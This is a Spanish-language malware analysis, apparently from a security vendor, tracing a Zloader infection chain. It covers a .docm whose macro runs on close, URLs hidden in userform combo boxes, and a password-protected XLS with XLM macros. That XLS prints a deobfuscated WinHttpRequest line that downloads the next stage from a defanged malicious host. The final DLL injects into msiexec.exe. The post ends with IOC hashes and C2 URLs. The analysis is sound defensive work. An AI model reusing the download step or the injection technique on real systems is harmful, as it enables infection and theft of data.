Zloader, también conocido como Terdot, una variante del infame malware bancario Zeus, es conocido por usar agresivamente documentos ".xls" y ".xlsx" como vector inicial para distribuir su carga útil. A pesar de ello, recientemente hemos descubierto el archivo ".docm" que la familia Zloader utiliza para realizar su actividad inicial. Esto demuestra que a los atacantes les gusta experimentar con documentos de Office para evitar ser detectados por las soluciones de seguridad.
Vector inicial:
Aquí la cadena de infección comienza con un archivo “.docm” . Docm significa “documento de Word habilitado para macros”. Como se puede ver a continuación, la vista del documento solicita al usuario que habilite el contenido.
Al igual que muchos otros documentos, intentamos observar su actividad tras habilitar el contenido, pero no se observó actividad. Al revisar su código VBA, obtuvimos la respuesta. Habilitar el contenido no ejecutará la macro. En este caso, la ejecución de la macro comienza al cerrar el documento, como se muestra.
En cuanto la víctima cierra este documento, se ejecuta la función "nnn" , que es la función principal de esta macro VBA. Dentro de esta, se llaman subfunciones. Los atacantes también utilizan un formulario de usuario para realizar la siguiente actividad.
La función UserForm_Initialize() se utiliza para invocar "Userform2". La siguiente imagen muestra el objeto userform2. En su cuadro de diálogo, los datos de la URL se fragmentan y se superponen en el cuadro combinado 25 para ocultar los datos reales, como se muestra a continuación.
Después de revisar todos los ComboBox de userform2, pudimos localizar la URL maliciosa que se utiliza para descargar la carga útil de la segunda etapa.
Para resumir la actividad anterior, los adversarios están utilizando el bucle for para acceder a todos estos valores y crear la URL final como se muestra a continuación.
El sitio “hxxps[:]//feelingfit-always[.]com/1[.]php”, malicioso con una puntuación total de virus de 11, se utiliza para descargar un archivo XLS protegido con contraseña. Su contraseña está oculta en la macro VBA de “Userform1”. Al explorar los datos de userform1, pudimos extraer la contraseña oculta.
Carga útil de la segunda etapa:
Proteger un documento con contraseña es una técnica clásica para defenderse de los antivirus. Es necesario contar con la contraseña correcta para profundizar en el análisis. Tras comprobar la contraseña anterior, finalmente podemos ver el contenido del libro de Excel. La macro XLM se utiliza en "Sheet3" para realizar otras actividades.
Aquí el código está incrustado en diferentes celdas del documento. La siguiente figura muestra el código de la macro extraído del libro de trabajo mencionado:
Aquí, los adversarios utilizan funciones integradas de Excel como IIF y Switch para ofuscar datos. El código final desofuscado se puede ver a continuación.
WinHttp.WinHttpRequest.5.1.open OBTENER https[:]//santarosafuneralhome[.]com/2.php Falso
WinHttp.WinHttpRequest.5.1.SetRequestHeader
WinHttp.WinHttpRequest.5.1.send
La URL maliciosa anterior que tiene una puntuación total de virus de 8 se utiliza para descargar la carga útil de tercera etapa de este ataque.
Análisis final de la carga útil:
La DLL es la carga útil final de Zloader. En este caso, la DLL está altamente ofuscada y evita las llamadas directas a las API de Windows. Se utiliza un algoritmo hash para calcular las direcciones y realizar la llamada con los valores calculados, lo que dificulta la reversión.
La DLL crea el proceso 'msiexec.exe', que es un proceso genuino de Microsoft que pertenece al instalador de componentes de Windows, en modo suspendido e inyecta en él un archivo cifrado.
También inyecta una rutina que descifrará y sacará el PE malicioso para su ejecución.
Con la configuración del contexto del hilo, se pasa el punto de ejecución inicial y finalmente se ejecuta el código inyectado con el hilo de reanudación.
Cuando este hilo de msiexec.exe entra en ejecución, intenta establecer una conexión con sus servidores CnC como se muestra,
Como estas URL estaban inactivas en el momento del análisis, no pudimos profundizar más en ellas.
Conclusión:
Este tipo de ataque muestra cómo los adversarios innovan sus mecanismos para iniciar una cadena de infección y comprometer a la víctima. El usuario siempre debe ser cauteloso al abrir archivos de Office. Quick Heal y Seqrite soluciones de seguridad empresarial Proteger a sus clientes de estos archivos. Por lo tanto, recuerde mantener las soluciones de seguridad de endpoints siempre actualizadas.
COI:
DOCUMENTO:
117fafb46f27238351f2111e8f01416412044238d2f8378a285063eb9d4eef3d
409ed829f19024045d26cc5d3a06e15a097605e13ba938875eca054a7a4a30b1
91aa050536d834947709776af40c2fde49471d28231de50df0d324cd55101df4
XLS: 52d071922413a3be8815a76118a45bf13d8d323b73ba42377591fd68c59dfc89
URL:
https[://]tiodeitidampheater.tk/post.php
https[://]actes-etatcivil.com/post.php
https[://]ankarakreatif.com/post.php
https[://]www.ramazanyildiz.net/post.php
https[://]hispaniaeng.com/post.php
https[://]www.ifdd.francophonie.org/post.php
Experto en la materia
Anjali Raut
Priyanka Shinde
